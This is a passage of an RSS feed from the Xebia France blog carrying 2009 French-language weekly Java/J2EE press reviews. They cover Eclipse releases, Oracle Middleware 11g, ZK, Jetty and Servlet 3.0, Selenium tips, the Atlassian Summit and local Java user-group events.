href="http://scannotation.sourceforge.net/" title="Scannotation" >Scannotation</a> permettant de scanner les annotations présentes dans les classes d&#8217;un <em>package</em> donné. Il <a
href="http://bill.burkecentral.com/2008/01/14/scanning-java-annotations-at-runtime/" title="expliquait alors le besoin rel" >expliquait alors le besoin réel</a> pour un tel <em>framework</em> par le fait qu&#8217;en standard, cette découverte de classes annotées n&#8217;est possible que par un coûteux mécanisme d&#8217;introspection nécessitant le chargement dans la JVM de l&#8217;ensemble des classes scannées (induisant donc une consommation de mémoire <em>PermGen</em> excessive puisque toutes les classes concernées n&#8217;auraient pas forcément été chargées lors de l&#8217;exécution de l&#8217;application).</p><p>JBoss <a
href="http://in.relation.to/12078.lace" title="présente maintenant" >présente maintenant</a> un framework remplissant le même rôle et nommé JBoss Annotations, prévu pour être intégré aux différents projets de l&#8217;éditeur. Il vous permettra ainsi de constituer une base de données des annotations présentes sur l&#8217;ensemble des classes que vous aurez sélectionnées pour analyse, que vous pourrez ainsi facilement interroger. La documentation et la javadoc de JBoss Annotations sont pour le moment uniquement disponibles dans <a
href="http://sourceforge.net/projects/jboss" title="larchive de distribution" >l&#8217;archive de distribution</a> du projet.</p><h4><a
name="EclipseM"></a>Eclipse 3.6 M1</h4><p>Quelques semaines après la <a
href="http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/#SortiedEclipseGalileo" title="sortie fin juin d'eclipse 3.5 galileo" >sortie fin juin d&#8217;eclipse 3.5 galileo</a>, voici venir la première milestone de la prochaine version de l&#8217;IDE à savoir eclipse 3.6 helios (par le <a
href="http://keulkeul.blogspot.com/2009/08/eclipse-36-m1-est-disponible.html" title="blog de keulkeul" >blog de keulkeul</a>).</p><p>Au menu des <a
href="http://download.eclipse.org/eclipse/downloads/drops/S-3.6M1-200908061400/eclipse-news-M1.html" title="nouveauts" >nouveautés</a> :</p><ul><li>Regroupement des licences dans le <em>wizard</em> d&#8217;installation</li><li>Ajout d&#8217;un <em>Footer</em> customisable pour l&#8217;aide</li><li><em>Content assist</em> et <em>Hover Pop-Up</em> redimensionnable sous Linux</li><li>Amélioration d&#8217;<em>Extract Method</em> au niveau de <code>continue</code> et de retours multiples</li><li><em>Export All</em> pour les <em>Formatters</em></li><li>Nouvelles entrées de menu (<em>Remove Nodes</em> dans <em>Call Hierarchy</em>, <em>Open Implementation</em>&#8230;)</li></ul><p>Early adopters, c&#8217;est <a
href="http://download.eclipse.org/eclipse/downloads/drops/S-3.6M1-200908061400/index.php" title="par ici" >par ici</a> que ça se passe !</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="JavaCampParisenpleinair"></a>JavaCampParis en plein air !</h4><p>Fort du succès des précédentes rencontres, le JavaCamp Paris organise une nouvelle session le 27 août dans un format très original puisqu&#8217;elle se tiendra en plein air, au Jardin des Tuileries.</p><p>Pour rappel, le principe des JavaCamp repose sur la constitution de groupes de discussion improvisés échangeant des informations et des idées sur des sujets décidés en début de session.</p><p>Si cette expérience vous intéresse, n&#8217;hésitez pas à vous inscrire sur le <a
href="http://barcamp.org/JavaCampParis5" title="wiki du JavaCamp Paris 5" >wiki du JavaCamp Paris 5</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/08/10/revue-de-presse-xebia-121/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/07/06/revue-de-presse-xebia-116/</link> <comments>http://blog.xebia.fr/2009/07/06/revue-de-presse-xebia-116/#comments</comments> <pubDate>Mon, 06 Jul 2009 17:33:30 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Jetty]]></category> <category><![CDATA[JUG]]></category> <category><![CDATA[Oracle]]></category> <category><![CDATA[Oracle Middleware 11g]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[Selenium]]></category> <category><![CDATA[Servlet 3.0]]></category> <category><![CDATA[XWT]]></category> <category><![CDATA[ZK]]></category> <category><![CDATA[ZKGrails]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2529</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Oracle annonce Oracle Middleware 11g RIA ZK et ZKGrails Le coin de la technique La transition de Jetty vers Servlet 3.0 XWT pour Eclipse E4 Se donner de la visibilité lors d&#8217;un échec Selenium Evènements de notre communauté en France [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/07/06/revue-de-presse-xebia-116/#OracleannonceOracleMiddlewareg">Oracle annonce Oracle Middleware 11g</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/07/06/revue-de-presse-xebia-116/#ZKetZKGrails">ZK et ZKGrails</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/07/06/revue-de-presse-xebia-116/#LatransitiondeJettyversServlet">La transition de Jetty vers Servlet 3.0</a></li><li><a
href="http://blog.xebia.fr/2009/07/06/revue-de-presse-xebia-116/#XWTpourEclipseE">XWT pour Eclipse E4</a></li><li><a
href="http://blog.xebia.fr/2009/07/06/revue-de-presse-xebia-116/#Sedonnerdelavisibilitlorsdunch">Se donner de la visibilité lors d&#8217;un échec Selenium</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/07/06/revue-de-presse-xebia-116/#SoirerivieraJUG">Soirèe riviera JUG</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="OracleannonceOracleMiddlewareg"></a>Oracle annonce Oracle Middleware 11g</h4><p>Le 1er Juillet, Oracle a présenté sa nouvelle offre autour du middleware: <a
href="http://www.oracle.com/products/middleware/index.html" title="Oracle Middleware 11g" >Oracle Middleware 11g</a> et en particulier son offre SOA, <a
href="http://www.oracle.com/technology/products/soa/soasuite/index.html" title="Oracle SOA Suite" >Oracle SOA Suite</a>.<br
/> Oracle propose un ensemble de produits qui utilisés conjointement permettent de concevoir, développer et superviser une application SOA.<br
/> Cette offre s&#8217;articule principalement autour de:</p><ul><li>JDeveloper pour le développement avec toujours un support soutenu de <a
href=" http://blog.xebia.fr/2007/04/11/introduction-a-sca-service-component-architecture/" title="SCA" >SCA</a> et SDO</li><li>Oracle Data Integration Suite, une offre de connecteurs (Messaging, Database,&#8230;)</li><li>Oracle Service Bus 11g pour le routage, la transformation. Les principales nouveautés sont la possibilité d&#8217;appeler du code Java (seuls les appels vers des WebServices et des EJB étaient proposés), d&#8217;initier des transactions (XA) depuis le bus et de mettre en cache des résultats via Oracle Coherence 3.5 .</li><li>Oracle BPEL Process Manager orchestre l&#8217;ensemble des processus métiers</li><li>Oracle Business Rules offre l&#8217;externalisation des règles métiers</li><li>Oracle Complex Event Processing (CEP) permet le traitement temps réel d&#8217;évènements métiers complexes.</li><li>Oracle Business Activity Monitoring et Oracle Enterprise Manager Fusion Middleware Control se chargent de la supervision technique et métier de l&#8217;application</li><li>Oracle Weblogic Server 11g (10.3.1). Cette version mineure de Weblogic Server remplace Kodo par TopLink, côté JMX, offre la possibilité d&#8217;inscrire des &#8216;CustomMBeans&#8217; dans le Domain Runtime MBean Server et d&#8217;y accéder par WLST et, côté sécurité, deux nouveaux providers pour Oracle Internet Directory  et Oracle Virtual Directory. Le support de Spring Framework semble également un peu plus <a
href="http://download.oracle.com/docs/cd/E12839_01/web.1111/e14453/toc.htm" title="poussé" >poussé</a>. Le plugin Eclipse est également mis à jour <a
href="http://www.oracle.com/technology/products/enterprise-pack-for-eclipse/index.html" title="Oracle Enterprise Pack for Eclipse 11g" >Oracle Enterprise Pack for Eclipse 11g</a></li><li>Oracle Application Grid Coherence 3.5, composé de Weblogic Server, JRockit, Coherence 3.5, offre la technologie pour créer des applications &#8216;Data grid&#8217;.</li></ul><p>Cette nouvelle version des produits étiquetés &#8216;Middleware&#8217; présente (enfin) l&#8217;aboutissement de l&#8217;intégration des produits Oracle et BEA en une suite unifiée. Chaque domaine de l&#8217;application (développement, BPM, routage, intégration, supervision, &#8230;) est maintenant clairement associé à un produit (qui est parfois un regroupement de produits). Pas de nouveaux produits, seulement des versions mineures : serait-ce la version de la maturité ?</p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="ZKetZKGrails"></a>ZK et ZKGrails</h4><p>Des nouvelles du projet <a
href="http://www.zkoss.org/product/zk.dsp" title="ZK" >ZK</a> (<a
href="http://www.zkoss.org/DirectRIA/" title="Direct RIA" >Direct RIA</a>) avec la sortie de la version <a
href="http://www.zkoss.org/release/rn-3.6.2.dsp" title="3.6.2" >3.6.2</a> (par <a
href="http://www.theserverside.com/news/thread.tss?thread_id=55026" title="The Server Side" >The Server Side</a>)</p><p>Pour rappel, ZK est un framework open source Ajax permettant de développer des interfaces riches. Il embarque de nombreux composants graphiques qui vont de la date avec calendrier, de fenêtres et popups mais aussi des menus, des grilles&#8230; La définition de l&#8217;UI se fait à l&#8217;aide de <code>ZUML</code> (ZK User Interface Markup Language).</p><p>Cette version apporte d&#8217;importantes <a
href="http://docs.zkoss.org/wiki/New_Features_of_ZK_3.6.2" title="nouvelles fonctionnalits" >nouvelles fonctionnalités</a> :</p><ul><li>Support de Google App Engine</li><li><a
href="http://docs.zkoss.org/wiki/New_Features_of_ZK_3.6.2#Performance" title="Amlioration des performances" >Amélioration des performances</a></li><li>Nouveaux modes (<em>include</em>, <em>instant</em>, <em>auto</em>&#8230;)</li><li>Mise à jour de composants (XUL et HTML)</li></ul><p>Au total, c&#8217;est <a
href="http://www.zkoss.org/release/rn-3.6.2.dsp#New" title="48 bugs corrigés et 16 nouvelles fonctionnalités" >48 bugs corrigés et 16 nouvelles fonctionnalités</a> pour cette nouvelle mouture de ZK (qui se télécharge sur cette <a
href="http://www.zkoss.org/download/zk.dsp" title="page" >page</a>).</p><p>A noter que dans la foulée, le projet <a
href="http://code.google.com/p/zkgrails/" title="ZKGrails" >ZKGrails</a> (intégration du framework ZK dans Grails) a été <a
href="http://zkgrails.blogspot.com/2009/06/zkgrails-074-has-been-released.html" title="mis à jour" >mis à jour</a> et embarque désormais ZK en version 3.6.2 (et toujours <a
href="http://www.grails.org/1.1.1+Release+Notes" title="Grails en 111" >Grails en 1.1.1</a>).</p><p>Cette version 0.7.4 de ZKGrails se récupère dans l&#8217;onglet <a
href="http://code.google.com/p/zkgrails/downloads/list" title="tlchargements" >téléchargements</a>.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="LatransitiondeJettyversServlet"></a>La transition de Jetty vers Servlet 3.0</h4><p>Jetty propose, depuis sa version 6, une <a
href="http://docs.codehaus.org/display/JETTY/Continuations" title="API" >API</a> de <a
href="http://en.wikipedia.org/wiki/Continuation" title="continuation" >continuation</a> qui permet de suspendre et restituer l&#8217;exécution d&#8217;une requête. Cette fonctionnalité est particulièrement utile dans le cadre d&#8217;une application <a
href="http://en.wikipedia.org/wiki/Comet_(programming)" title="Comet" >Comet</a>.</p><p>Or, cette fonctionnalité est directement adressée par <a
href="http://today.java.net/pub/a/today/2008/10/14/introduction-to-servlet-3.html" title="Servlet 3.0" >Servlet 3.0</a> dont la finalisation est imminente et qui sera implémentée <a
href="http://blog.xebia.fr/2009/06/02/revue-de-presse-xebia-111/#Jettydvoilesaroadmap" title="partiellement par Jetty 7 et entirement par Jetty 8" >partiellement par Jetty 7 et entièrement par Jetty 8</a>. Un temps destiné à être dépréciée après l&#8217;arrivée des Servlet 3.0, l&#8217;API de continuation de Jetty perdurera parallèlement.</p><p>Greg Wilkins en <a
href="http://blogs.webtide.com/gregw/entry/continuations_to_continue" title="explique les raisons" >explique les raisons</a> : il souhaite offrir un compromis intermédiaire à la complexité de l&#8217;API asynchrone de Servlet 3.0. La compatibilité serait quant à elle assurée dans tous les conteneurs Jetty 6, 7 et 8.<br
/> L&#8217;API Servlet 3.0 apporte un certain nombre de changements majeurs. On peut donc s&#8217;attendre à ce que ce type d&#8217;initiatives visant à assurer une transition en douceur des applications se multiplient d&#8217;ici la finalisation de la spécification et de ses implémentations.</p><h4><a
name="XWTpourEclipseE"></a>XWT pour Eclipse E4</h4><p><a
href="http://wiki.eclipse.org/E4" title="Eclipse E4" >Eclipse E4</a> est la prochaine version majeure d&#8217;eclipse.</p><p>Un des objectifs principaux d&#8217;e4 est de simplifier les APIs existantes d&#8217;eclipse.<br
/> Ce refactoring touche entre autres l&#8217;UI d&#8217;eclipse et son modèle de composants.</p><p>Cette <a
href="http://dev.eclipse.org/blogs/yvesyang/2009/07/05/xwt-getting-started-ii/" title="vido" >vidéo</a>, de type <em>XWT in action</em>, nous montre à la fois le code (descripteur XML du modèle&#8230;) mais aussi l&#8217;outillage avec une vue éditeur splittée <em>source</em> / <em>design</em> et une palette de composants SWT (qui sont tous gérés par XWT) et JFace.<br
/> A noter aussi ce <a
href="http://www.vogella.de/articles/EclipseE4/article.html#eclipsexwt" title="tutoriel" >tutoriel</a> de type <em>HelloWorld</em> qui nous montre vers la <a
href="http://www.vogella.de/articles/EclipseE4/article.html#eclipsecss" title="fin" >fin</a> la possibilité de styler ses composants avec une feuille CSS.</p><p>Pour celles et ceux qui sont déjà conquis ou qui souhaitent tester ces nouvelles fonctionnalités, l&#8217;installation d&#8217;E4 sur un eclipse existant est résumée sur cette <a
href="http://wiki.eclipse.org/E4/Install" title="page" >page</a>.</p><h4><a
name="Sedonnerdelavisibilitlorsdunch"></a>Se donner de la visibilité lors d&#8217;un échec Selenium</h4><p>Dans la série <em>trucs et astuces</em>,  Daniel Wellman partage sur <a
href="http://blogs.stickyminds.com/Blogs/tabid/91/EntryId/96/Dont-Debug-Selenium-Test-Failures-Blindly.aspx" title="le blog de stickymindscom" >le blog de stickyminds.com</a> deux moyens de se donner de la visibilité lorsqu&#8217;un test Selenium échoue.</p><ul><li>Faire une capture d&#8217;écran lors de l&#8217;échec : l&#8217;idée peut sembler triviale, mais faire une capture d&#8217;écran devrait permettre d&#8217;éliminer rapidement un certain nombre de cas (une erreur de navigation par exemple). L&#8217;interface <code>com.thoughtworks.selenium .Selenium</code> (et son implémentation par défaut) de SeleniumRC offre une méthode (<code>captureScreenshot(String)</code>) pour réaliser cette capture.</li><li>Enregistrer le DOM HTML : là encore, l&#8217;interface <code>Selenium</code> offre une solution toute faite pour enregistrer l&#8217;intégralité du source dans un fichier texte : <code>getHtmlSource()</code></li></ul><p>Ne reste plus qu&#8217;à factoriser l&#8217;appel de ces méthodes à chaque fois qu&#8217;un test échoue, et vous aurez à votre disposition pour débugger une erreur d&#8217;assertion, une StackTrace, une copie d&#8217;écran et un arbre DOM. Cela devrait faire gagner quelques précieuses minutes, surtout quand les scénarii Selenium sont longs à rejouer.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="SoirerivieraJUG"></a>Soirèe riviera JUG</h4><p>Le riviera JUG organise sa 4ème  rencontre le 15 juillet prochain. Au menu cette soirée estivale,  vous pourrez déguster une présentation sur la méthode SCRUM en plat de résistance et une présentation sur Groovy en dessert.</p><p>Soyez nombreux ! Et n&#8217;oubliez pas de vous inscrire <a
href="http://www.rivierajug.org/xwiki/bin/view/Main/200907XX|Riviera JUG" title="ici" >ici</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/07/06/revue-de-presse-xebia-116/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/</link> <comments>http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/#comments</comments> <pubDate>Mon, 29 Jun 2009 16:32:10 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Atlassian]]></category> <category><![CDATA[CEP]]></category> <category><![CDATA[Complex Event Processing]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Eclipse Galileo]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[jazoon]]></category> <category><![CDATA[JMX 2]]></category> <category><![CDATA[SOA]]></category> <category><![CDATA[SpringSource Slices]]></category> <category><![CDATA[StreamBase]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2449</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII StreamBase lie le Complex Event Processing à Twitter Atlassian Summit : le présent et l&#8217;avenir des outils Atlassian Le coin de la technique Sortie d&#8217;Eclipse Galileo Des applications Web modulaires avec SpringSource Slices Que devient JMX 2 ? Evènements de [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/#StreamBaselieleComplexEventPro">StreamBase lie le Complex Event Processing à Twitter</a></li><li><a
href="http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/#AtlassianSummitleprsentetlaven">Atlassian Summit : le présent et l&#8217;avenir des outils Atlassian</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/#SortiedEclipseGalileo">Sortie d&#8217;Eclipse Galileo</a></li><li><a
href="http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/#DesapplicationsWebmodulairesav">Des applications Web modulaires avec SpringSource Slices</a></li><li><a
href="http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/#QuedevientJMX">Que devient JMX 2 ?</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/06/29/revue-de-presse-xebia-115/#RetoursurlaconfrenceJazoon">Retour sur la conférence Jazoon</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="StreamBaselieleComplexEventPro"></a>StreamBase lie le Complex Event Processing à Twitter</h4><p><a
href="http://www.streambase.com/">StreamBase</a> est un éditeur qui fournit une solution de <a
href="http://en.wikipedia.org/wiki/Complex_event_processing" title="Complex Event Processing (CEP)" ><em>Complex Event Processing</em> (CEP)</a> très populaire dans le monde de la finance. Il s&#8217;agit d&#8217;un <em>middleware</em> capable d&#8217;analyser un flux de messages en temps réel pour y reconnaître des évènements complexes.</p><p>Dans <a
href="http://www.streambase.com/9bd00b4c-a8b1-4260-9751-65d5abad13c5/press-release-detail.htm" title="un communique de presse" >un communiqué de presse</a>, l&#8217;entreprise annonce proposer un connecteur <a
href="http://www.twitter.com">Twitter</a> pour sa solution de CEP. Il devient ainsi possible pour les systèmes d&#8217;information du monde de la finance d&#8217;analyser les messages Twitter pour en extraire un sentiment global en temps réel pouvant être utilisé dans un système de <em>trading</em> ou d&#8217;analyse <em>marketing</em>.</p><p>John Davies, directeur technique d&#8217;une société américaine spécialisée dans ce type de traitements financiers, <a
href="http://www.theserverside.com/news/thread.tss?thread_id=55060" title="analyse cette annonce" >analyse cette annonce</a> et avoue qu&#8217;après avoir été sceptique quant à cette idée au premier abord, il y voit désormais une opportunité d&#8217;améliorer la réactivité des systèmes par rapport à l&#8217;utilisation de simples flux Reuteurs apportant l&#8217;information plus tardivement.</p><p>Ce type d&#8217;annonce permet surtout de réaliser le potentiel de la technologie CEP appliquée à l&#8217;exploitation de sources diverses provenant de l&#8217;intérieur comme de l&#8217;extérieur du système d&#8217;information de l&#8217;entreprise.</p><h4><a
name="AtlassianSummitleprsentetlaven"></a>Atlassian Summit : le présent et l&#8217;avenir des outils Atlassian</h4><p>Au début du mois de juin s&#8217;est déroulé l&#8217;<a
href="http://www.atlassian.com/summit/presentations/" title="Atlassian Summit" >Atlassian Summit</a> à San Fransico. Il s&#8217;agissait de la première conférence du genre pour l&#8217;éditeur et a pu profiter de l&#8217;occasion pour présenter toutes ses nouveautés à venir et revenir sur les dernières évolutions de ses produits. L&#8217;ensemble des sessions de cette conférence sont maintenant <a
href="http://www.atlassian.com/summit/presentations/keynote.jsp" title="accessibles librement en ligne" >accessibles librement en ligne</a>.</p><p>Nous nous attarderons principalement sur le <a
href="http://www.atlassian.com/summit/presentations/keynote.jsp" title="keynote de Mike CannonBrookes" >keynote de Mike Cannon-Brookes</a>, CEO et co-fondateur d&#8217;Atlassian, qui résume la majorité des éléments à retenir.</p><p><strong>Confluence</strong></p><p>La version 3.0 de <a
href="http://www.atlassian.com/software/confluence/" title="Confluence" >Confluence</a> a été finalisée il y a peu. Elle apporte principalement :</p><ul><li>Ajout d&#8217;un <em>macro browser</em> permettant de naviguer facilement parmi les macros disponibles</li><li>Apport de nombreuses extensions de nature &laquo;&nbsp;sociale&nbsp;&raquo; avec une gestion de réseaux, un <em>microblogging</em> de type Twitter, un espace personnel repensé</li><li>Gain significatif de performance lors de la navigation et de l&#8217;édition</li></ul><p><strong>Jira et GreenHopper</strong></p><p>Jira 4.0 n&#8217;est pas encore finalisé, mais est dors et déjà <a
href="http://www.atlassian.com/software/jira/beta/" title="disponible en version beta" >disponible en version beta</a>. Il apporte quelques nouveautés intéressantes&nbsp;:</p><ul><li>Refonte du <em>dashboard</em> de Jira. Il devient largement personnalisable grâce à l&#8217;ajout de <em>gadgets</em> à l&#8217;image d&#8217;<a
href="http://www.igoogle.fr" title="iGoogle" >iGoogle</a></li><li>Introduction du <em>Jira Query Language</em> (JQL) permettant de faire des recherches avancées simplement grâce à un système de complétion. Les résultats des requêtes peuvent alors être ajoutés au <em>dashboard</em></li><li>Le plugin GreenHopper, permettant d&#8217;exploiter le moteur de tâches de Jira pour gérer un projet agile (gestion d&#8217;itérations, production de <em>burndown charts</em>, &#8230;), devient un produit Atlassian. L&#8217;éditeur en ayant annoncé l&#8217;acquisition lors du Summit.</li></ul><p><strong>Open Social</strong></p><p>La généralisation de l&#8217;utilisation de l&#8217;API <a
href="http://code.google.com/intl/fr/apis/opensocial/" title="Open Social" >Open Social</a> au sein des produits Atlassian est probablement ce qui restera le plus marquant. Ainsi la plupart des produits Atlassian proposeront des gadgets Open Social pouvant être intégrés à n&#8217;importe quel conteneur Web s&#8217;appuyant sur cette technologie.</p><p>Concrètement, il est alors possible d&#8217;intégrer un gadget Jira au sein de l&#8217;interface de Gmail afin de simplifier la saisie d&#8217;une nouvelle anomalie suite à la réception d&#8217;un mail décrivant un problème. De même, le <em>dashboard</em> de Jira 4.0 devenant un conteneur Open Social, il est possible d&#8217;intégrer un gadget indiquant l&#8217;état des derniers <em>builds</em> de Bamboo conjointement aux gadgets indiquant l&#8217;état des anomalies et tâches Jira actives. Open Social devient ainsi le vecteur d&#8217;intégration des produits Atlassian.</p><p><strong>Fisheye, Crucible et Eclipse Connector</strong></p><p><a
href="http://www.atlassian.com/software/fisheye/beta/" title="Fisheye 2.0" >Fisheye 2.0</a> et <a
href="http://www.atlassian.com/software/crucible/beta/" title="Crucible 20" >Crucible 2.0</a> ne sont également pas encore finalisés mais accessibles en beta. Ils apporteront tous deux une meilleure intégration à Jira, une interface utilisateur refondue et une vue permettant de visualiser l&#8217;activité des développeurs sur les différents projets.</p><p>Atlassian a également publié fin mai <a
href="http://blogs.atlassian.com/news/2009/05/atlassian_eclip.html" title="la version finale de lEclipse Connector" >la version finale de l&#8217;Eclipse Connector</a>, un plugin permettant d&#8217;intégrer certaines fonctionnalités des produits Atlassian au sein d&#8217;Eclipse :</p><ul><li>Jira est un <em>task repository</em> pour Mylyn, la gestion de tâches s&#8217;intègre donc à tous les niveaux dans l&#8217;IDE. Il est par exemple possible avec un clic d&#8217;ajouter, en pièce jointe de l&#8217;anomalie Jira, le <em>context</em> Mylyn et, dans un autre environnement, de le restituer d&#8217;un autre clic.</li><li>Une vue est dédiée à Bamboo et permet d&#8217;observer et d&#8217;interagir avec les <em>builds</em> du serveur d&#8217;intégration continue de l&#8217;éditeur</li><li>Il devient possible d&#8217;effectuer les <em>code reviews</em> Crucible directement depuis Eclipse</li><li>Il est possible de lancer l&#8217;affichage de la page Fisheye correspondant à un fichier spécifique par simple clic droit</li></ul><p>Ces fonctionnalités étaient déjà <a
href="http://confluence.atlassian.com/display/IDEPLUGIN/Atlassian+IntelliJ+Connector" title="disponibles pour IntelliJ" >disponibles pour IntelliJ</a>, elles le sont maintenant également pour l&#8217;IDE Java le plus populaire.</p><p>Atlassian continue de se montrer très innovant en apportant un lot intéressant de nouvelles fonctionnalités sur ses produits déjà très populaires. L&#8217;acquisition de GreenHopper lui permet quant à elle de se positionner sur le créneau des applications de gestion de projets agiles que <a
href="http://studios.thoughtworks.com/" title="Thoughtworks Studios" >Thoughtworks Studios</a> commençait à investir avec <a
href="http://studios.thoughtworks.com/mingle-agile-project-management" title="Mingle" >Mingle</a>.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="SortiedEclipseGalileo"></a>Sortie d&#8217;Eclipse Galileo</h4><p>Comme <a
href="http://eclipsesource.com/blogs/2009/06/23/eclipse-osgi-galileo-and-release-trains/" title="chaque année depuis 2004" >chaque année depuis 2004</a>, fin juin sera marquée par la sortie d&#8217;une nouvelle version d&#8217;<a
href="http://www.eclipse.org/home/" title="Eclipse IDE" >Eclipse IDE</a>.</p><p>Après Callisto, Europa et Ganymède, voici venu <a
href="http://www.eclipse.org/galileo/" title="Galileo" >Galileo</a> (ou Eclipse 3.5).</p><p>Difficile de faire un résumé des <a
href="http://www.eclipse.org/org/press-release/20090624_galileo.php" title="24 millions de lignes de codes" >24 millions de lignes de codes</a> ni même de la <a
href="http://www.eclipse.org/galileo/projects.php" title="trentaine de projets" >trentaine de projets</a> qui le compose, cependant plusieurs nouvelles fonctionnalités ressortent. A signaler qu&#8217;un <a
href="http://eclipsesource.com/blogs/2009/06/24/eclipse-galileo-feature-top-10-list-number-1/" title="top 10 de ces nouveautés" >top 10 de ces nouveautés</a> a d&#8217;ailleurs été publié par <a
href="http://eclipsesource.com/blogs/author/irbull/" title="Ian Bull" >Ian Bull</a> sur le site d&#8217;<a
href="http://eclipsesource.com/blogs/" title="Eclipse Source" >Eclipse Source</a> (série de 10 billets).</p><p>On notera ainsi :</p><ul><li>Compatibilité avec Mac OS X (portage SWT vers Cocoa).</li><li>Memory Analyzer Tool (<a
href="http://eclipse.org/mat/" title="MAT" >MAT</a>), un outil d&#8217;analyse de <em>heap</em> (consommation, fuite mémoire &#8230;).</li><li>Mylyn (gestion de tâches, synchronisation&#8230;) qui n&#8217;est pas nouveau mais qui devient de plus en plus populaire avec le support entre autre de Jira.</li><li>XText qui permet la création de DSL (auto-complétion, coloration syntaxique &#8230;).</li><li>Rich Ajax Platform (<a
href="http://eclipse.org/rap/" title="RAP" >RAP</a>) qui permet de déployer son application en tant que WebApp.</li><li>SWT Browser qui gère le <a
href="http://eclipsesource.com/blogs/2009/06/16/eclipse-galileo-feature-top-10-list-number-9/" title="pont entre Java et Javascript dans les 2 sens" >pont entre Java et Javascript dans les 2 sens</a>.</li><li>Mylyn <a
href="http://wiki.eclipse.org/Mylyn/Incubator/WikiText" title="WikiText" >WikiText</a>, un éditeur de fichier wiki.</li><li>Plateforme (p2 avec update manager revu, target platform, deploy into self pour tester ses plugins &#8230;).</li></ul><p>Le téléchargement se passe par <a
href="http://www.eclipse.org/downloads/" title="ici" >ici</a> avec comme d&#8217;habitude plusieurs packages disponibles qui vont de la version <em>classique</em> à la version <em>Java</em>, <em>JEE</em> ou <em>RCP</em> sans oublier, pour les non javaistes, les versions <em>C++</em> et <em>PHP</em>. D&#8217;autres packages ciblant le <em>reporting</em> ou la <em>modélisation</em> sont aussi disponibles.</p><p>Et bien sûr, rendez-vous est pris l&#8217;année prochaine même date (par <a
href="http://eclipsesource.com/blogs/2009/06/23/eclipse-osgi-galileo-and-release-trains/" title="Chris Aniszczyk" >Chris Aniszczyk</a>) pour la <em>release</em> d&#8217;Eclipse 3.6 qui se nommera Helios !</p><h4><a
name="DesapplicationsWebmodulairesav"></a>Des applications Web modulaires avec SpringSource Slices</h4><p>Rob Harrop <a
href="http://blog.springsource.com/2009/06/22/modular-web-applications-with-springsource-slices/" title="a prsent" >a présenté</a> une ébauche d&#8217;un nouveau projet SpringSource appelé Slices.</p><p>Il s&#8217;agit d&#8217;un framework basé sur <a
